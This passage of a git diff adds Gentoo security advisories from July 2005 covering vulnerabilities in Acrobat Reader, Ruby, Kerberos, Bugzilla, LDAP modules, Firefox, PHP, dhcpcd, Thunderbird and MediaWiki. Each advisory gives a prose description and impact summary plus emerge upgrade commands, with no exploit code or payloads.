+    # emerge --ask --oneshot --verbose &quot;&gt;=www-app/phpgroupware-0.9.16.006&quot;</code>
+    <p>
+    All eGroupWare users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-app/egroupware-1.0.0.008&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Jul 2005 12:50:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Jul 2005 15:06:09 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Jul 2005 19:07:48 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-09.xml b/xml/htdocs/security/en/glsa/glsa-200507-09.xml
new file mode 100644
index 00000000..9b4aa779
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-09.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-09">
+  <title>Adobe Acrobat Reader: Buffer overflow vulnerability</title>
+  <synopsis>
+    Adobe Acrobat Reader is vulnerable to a buffer overflow that could lead to
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>July 11, 2005</announced>
+  <revised>July 11, 2005: 01</revised>
+  <bug>98101</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">7.0</unaffected>
+      <vulnerable range="le">5.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Acrobat Reader is a utility used to view PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been discovered in the
+    UnixAppOpenFilePerform() function, which is called when Adobe Acrobat
+    Reader tries to open a file with the "\Filespec" tag.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted PDF document, a
+    remote attacker could exploit this vulnerability to execute arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Since Adobe will most likely not update the 5.0 series of Adobe
+    Acrobat Reader for Linux, all users should upgrade to the latest
+    available version of the 7.0 series:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-7.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1625">CAN-2005-1625</uri>
+    <uri link="http://www.idefense.com/application/poi/display?id=279&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Security Advisory</uri>
+    <uri link="http://www.adobe.com/support/techdocs/329083.html">Adobe Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 08 Jul 2005 08:39:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 08 Jul 2005 15:11:50 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 09 Jul 2005 18:37:26 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-10.xml b/xml/htdocs/security/en/glsa/glsa-200507-10.xml
new file mode 100644
index 00000000..b4a77564
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-10">
+  <title>Ruby: Arbitrary command execution through XML-RPC</title>
+  <synopsis>
+    A vulnerability in XMLRPC.iPIMethods allows remote attackers to execute
+    arbitrary commands.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>July 11, 2005</announced>
+  <revised>July 11, 2005: 01</revised>
+  <bug>96784</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.2-r2</unaffected>
+      <vulnerable range="lt">1.8.2-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted scripting language for quick and easy
+    object-oriented programming. XML-RPC is a remote procedure call
+    protocol encoded in XML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nobuhiro IMAI reported that an invalid default value in "utils.rb"
+    causes the security protections of the XML-RPC server to fail.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute
+    arbitrary commands.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.2-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1992">CAN-2005-1992</uri>
+    <uri link="http://www.ruby-lang.org/en/20050701.html">Ruby Security Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 09 Jul 2005 18:51:00 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 09 Jul 2005 19:20:33 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Jul 2005 12:47:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-11.xml b/xml/htdocs/security/en/glsa/glsa-200507-11.xml
new file mode 100644
index 00000000..503153dc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-11.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-11">
+  <title>MIT Kerberos 5: Multiple vulnerabilities</title>
+  <synopsis>
+    MIT Kerberos 5 is vulnerable to a Denial of Service attack and remote
+    execution of arbitrary code, possibly leading to the compromise of the
+    entire Kerberos realm.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>July 12, 2005</announced>
+  <revised>July 12, 2005: 01</revised>
+  <bug>98799</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1-r1</unaffected>
+      <vulnerable range="lt">1.4.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is the free implementation of the Kerberos network
+    authentication protocol by the Massachusetts Institute of Technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    Daniel Wachdorf discovered that MIT Kerberos 5 could corrupt the
+    heap by freeing unallocated memory when receiving a special TCP request
+    (CAN-2005-1174). He also discovered that the same request could lead to
+    a single-byte heap overflow (CAN-2005-1175). Magnus Hagander discovered
+    that krb5_recvauth() function of MIT Kerberos 5 might try to
+    double-free memory (CAN-2005-1689).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Although exploitation is considered difficult, a remote attacker
+    could exploit the single-byte heap overflow and the double-free
+    vulnerability to execute arbitrary code, which could lead to the
+    compromise of the whole Kerberos realm. A remote attacker could also
+    use the heap corruption to cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.4.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1174">CAN-2005-1174</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1175">CAN-2005-1175</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1689">CAN-2005-1689</uri>
+    <uri link="http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-002-kdc.txt">MITKRB5-SA-2005-002</uri>
+    <uri link="http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2005-003-recvauth.txt">MITKRB5-SA-2005-003</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 08 Jul 2005 08:49:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 08 Jul 2005 14:57:37 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Jul 2005 19:05:46 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-12.xml b/xml/htdocs/security/en/glsa/glsa-200507-12.xml
new file mode 100644
index 00000000..8149cac4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-12.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-12">
+  <title>Bugzilla: Unauthorized access and information disclosure</title>
+  <synopsis>
+    Multiple vulnerabilities in Bugzilla could allow remote users to modify bug
+    flags or gain sensitive information.
+  </synopsis>
+  <product type="ebuild">bugzilla</product>
+  <announced>July 13, 2005</announced>
+  <revised>July 13, 2005: 01</revised>
+  <bug>98348</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/bugzilla" auto="yes" arch="*">
+      <unaffected range="ge">2.18.3</unaffected>
+      <vulnerable range="lt">2.18.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bugzilla is a web-based bug-tracking system used by many projects.
+    </p>
+  </background>
+  <description>
+    <p>
+    Bugzilla allows any user to modify the flags of any bug
+    (CAN-2005-2173). Bugzilla inserts bugs into the database before marking
+    them as private, in connection with MySQL replication this could lead
+    to a race condition (CAN-2005-2174).
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By manually changing the URL to process_bug.cgi, a remote attacker
+    could modify the flags of any given bug, which could trigger an email
+    including the bug summary to be sent to the attacker. The race
+    condition when using Bugzilla with MySQL replication could lead to a
+    short timespan (usually less than a second) where the summary of
+    private bugs is exposed to all users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Bugzilla users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/bugzilla-2.18.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2173">CAN-2005-2173</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2174">CAN-2005-2174</uri>
+    <uri link="http://www.bugzilla.org/security/2.18.1/">Bugzilla Security Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Jul 2005 07:49:18 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Jul 2005 08:01:09 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Jul 2005 08:53:54 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-13.xml b/xml/htdocs/security/en/glsa/glsa-200507-13.xml
new file mode 100644
index 00000000..7acf469d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-13.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-13">
+  <title>pam_ldap and nss_ldap: Plain text authentication leak</title>
+  <synopsis>
+    pam_ldap and nss_ldap fail to restart TLS when following a referral,
+    possibly leading to credentials being sent in plain text.
+  </synopsis>
+  <product type="ebuild">pam_ldap nss_ldap</product>
+  <announced>July 14, 2005</announced>
+  <revised>July 14, 2005: 01</revised>
+  <bug>96767</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-auth/nss_ldap" auto="yes" arch="*">
+      <unaffected range="ge">239-r1</unaffected>
+      <unaffected range="rge">226-r1</unaffected>
+      <vulnerable range="lt">239-r1</vulnerable>
+    </package>
+    <package name="sys-auth/pam_ldap" auto="yes" arch="*">
+      <unaffected range="ge">178-r1</unaffected>
+      <vulnerable range="lt">178-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pam_ldap is a Pluggable Authentication Module which allows
+    authentication against an LDAP directory. nss_ldap is a Name Service
+    Switch module which allows 'passwd', 'group' and 'host' database
+    information to be pulled from LDAP. TLS is Transport Layer Security, a
+    protocol that allows encryption of network communications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rob Holland of the Gentoo Security Audit Team discovered that
+    pam_ldap and nss_ldap fail to use TLS for referred connections if they
+    are referred to a master after connecting to a slave, regardless of the
+    "ssl start_tls" ldap.conf setting.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could sniff passwords or other sensitive information
+    as the communication is not encrypted.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    pam_ldap and nss_ldap can be set to force the use of SSL instead
+    of TLS.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pam_ldap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/pam_ldap-178-r1&quot;</code>
+    <p>
+    All nss_ldap users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sys-auth/nss_ldap</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2069">CAN-2005-2069</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 04 Jul 2005 08:55:26 +0000">
+    tigger
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 04 Jul 2005 14:18:57 +0000">
+    tigger
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 14 Jul 2005 09:08:58 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-14.xml b/xml/htdocs/security/en/glsa/glsa-200507-14.xml
new file mode 100644
index 00000000..27fc1c7e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-14.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-14">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Firefox allow attacks ranging from
+    execution of script code with elevated privileges to information leak.
+  </synopsis>
+  <product type="ebuild">mozilla</product>
+  <announced>July 15, 2005</announced>
+  <revised>July 15, 2005: 01</revised>
+  <bug>95199</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the next-generation web browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in Mozilla
+    Firefox:
+    </p>
+    <ul>
+    <li>"moz_bug_r_a4" and "shutdown" discovered that
+    Firefox was improperly cloning base objects (MFSA 2005-56).</li>
+    <li>Michael Krax reported that Firefox was not correctly handling
+    JavaScript URLs from external applications (MFSA 2005-53), and that the
+    "Set as wallpaper" function in versions 1.0.3 and 1.0.4 could be abused
+    to load JavaScript (MFSA 2005-47).</li>
+    <li>Several researchers
+    reported ways to trick Firefox into accepting events generated by web
+    content (MFSA 2005-45).</li>
+    <li>Kohei Yoshino discovered a new way to
+    inject script from the sidebar panel using data: (MFSA 2005-49).</li>
+    <li>"moz_bug_r_a4" reported that Firefox failed to validate XHTML DOM
+    nodes properly (MFSA 2005-55), and that XBL scripts ran even when
+    Javascript is disabled (MFSA 2005-46).</li>
+    <li>"shutdown" discovered a
+    possibly exploitable crash in InstallVersion.compareTo (MFSA
+    2005-50).</li>
+    <li>Finally, Secunia discovered that a child frame can
+    call top.focus() even if the framing page comes from a different origin
+    and has overridden the focus() routine (MFSA 2005-52), and that the
+    frame injection spoofing bug fixed in 1.0.2 was mistakenly reintroduced
+    in 1.0.3 and 1.0.4 (MFSA 2005-51).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious web pages that would
+    leverage these issues to inject and execute arbitrary script code with
+    elevated privileges, steal cookies or other information from web pages,
+    or spoof content.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.5&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Firefox">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 13 Jul 2005 20:26:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 15 Jul 2005 05:32:06 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-15.xml b/xml/htdocs/security/en/glsa/glsa-200507-15.xml
new file mode 100644
index 00000000..38d9cd30
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-15.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-15">
+  <title>PHP: Script injection through XML-RPC</title>
+  <synopsis>
+    PHP includes an XML-RPC implementation which allows remote attackers to
+    execute arbitrary PHP script commands.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>July 15, 2005</announced>
+  <revised>July 15, 2005: 01</revised>
+  <bug>97655</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="ge">4.4.0</unaffected>
+      <vulnerable range="lt">4.4.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the
+    mod_php module or the CGI version of PHP, or can run stand-alone in a
+    CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Bercegay has discovered that the XML-RPC implementation in
+    PHP fails to sanitize input passed in an XML document, which is used in
+    an "eval()" statement.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the XML-RPC vulnerability to
+    execute arbitrary PHP script code by sending specially crafted XML data
+    to applications making use of this XML-RPC implementation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/php-4.4.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Jul 2005 20:30:47 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Jul 2005 22:51:12 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 15 Jul 2005 13:35:35 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-16.xml b/xml/htdocs/security/en/glsa/glsa-200507-16.xml
new file mode 100644
index 00000000..2322c919
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-16.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-16">
+  <title>dhcpcd: Denial of Service vulnerability</title>
+  <synopsis>
+    A vulnerability in dhcpcd may cause the dhcpcd daemon to crash.
+  </synopsis>
+  <product type="ebuild">dhcpcd</product>
+  <announced>July 15, 2005</announced>
+  <revised>July 15, 2005: 01</revised>
+  <bug>98394</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dhcpcd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.22_p4-r11</unaffected>
+      <vulnerable range="lt">1.3.22_p4-r11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    dhcpcd is a standards compliant DHCP client daemon. It requests an
+    IP address and other information from the DHCP server, automatically
+    configures the network interface, and tries to renew the lease time.
+    </p>
+  </background>
+  <description>
+    <p>
+    infamous42md discovered that dhcpcd can be tricked to read past
+    the end of the supplied DHCP buffer. As a result, this might lead to a
+    crash of the daemon.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With a malicious DHCP server an attacker could cause a Denial of
+    Service by crashing the DHCP client.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All dhcpcd users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dhcpcd-1.3.22_p4-r11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1848">CAN-2005-1848</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Jul 2005 14:38:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Jul 2005 17:42:40 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Jul 2005 08:00:32 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-17.xml b/xml/htdocs/security/en/glsa/glsa-200507-17.xml
new file mode 100644
index 00000000..db1fe5e2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-17.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-17">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Thunderbird allow attacks ranging from
+    execution of script code with elevated privileges to information leak.
+  </synopsis>
+  <product type="ebuild">thunderbird</product>
+  <announced>July 18, 2005</announced>
+  <revised>July 18, 2005: 01</revised>
+  <bug>98855</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is the next-generation mail client from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in Mozilla
+    Thunderbird:
+    </p>
+    <ul>
+    <li>"moz_bug_r_a4" and "shutdown" discovered
+    that Thunderbird was improperly cloning base objects (MFSA
+    2005-56).</li>
+    <li>"moz_bug_r_a4" also reported that Thunderbird was
+    overly trusting contents, allowing privilege escalation via property
+    overrides (MFSA 2005-41, 2005-44), that it failed to validate XHTML DOM
+    nodes properly (MFSA 2005-55), and that XBL scripts ran even when
+    Javascript is disabled (MFSA 2005-46).</li>
+    <li>"shutdown" discovered a
+    possibly exploitable crash in InstallVersion.compareTo (MFSA
+    2005-50).</li>
+    <li>Andreas Sandblad from Secunia reported that a child
+    frame can call top.focus() even if the framing page comes from a
+    different origin and has overridden the focus() routine (MFSA
+    2005-52).</li>
+    <li>Georgi Guninski reported missing Install object
+    instance checks in the native implementations of XPInstall-related
+    JavaScript objects (MFSA 2005-40).</li>
+    <li>Finally, Vladimir V.
+    Perepelitsa discovered a memory disclosure bug in JavaScript's regular
+    expression string replacement when using an anonymous function as the
+    replacement argument (CAN-2005-0989 and MFSA 2005-33).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious email messages that would
+    leverage these issues to inject and execute arbitrary script code with
+    elevated privileges or help in stealing information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.0.5&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Thunderbird">Mozilla Foundation Security Advisories</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0989">CAN-2005-0989</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 14 Jul 2005 11:30:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 17 Jul 2005 20:53:06 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-18.xml b/xml/htdocs/security/en/glsa/glsa-200507-18.xml
new file mode 100644
index 00000000..43f6f58c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-18.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-18">
+  <title>MediaWiki: Cross-site scripting vulnerability</title>
+  <synopsis>
+    MediaWiki is vulnerable to a cross-site scripting attack that could allow
+    arbitrary JavaScript code execution.
+  </synopsis>
+  <product type="ebuild">mediawiki</product>
+  <announced>July 20, 2005</announced>
+  <revised>August 11, 2005: 03</revised>
+  <bug>99132</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mediawiki" auto="yes" arch="*">
+      <unaffected range="ge">1.4.6</unaffected>
+      <vulnerable range="lt">1.4.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MediaWiki is a collaborative editing software, used by big projects
+    like Wikipedia.
+    </p>
+  </background>
+  <description>
+    <p>
+    MediaWiki fails to escape a parameter in the page move template
+    correctly.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to visit a specially crafted URL, a remote attacker
+    could exploit this vulnerability to inject malicious JavaScript code
+    that will be executed in a user's browser session in the context of the
+    vulnerable site.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MediaWiki users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
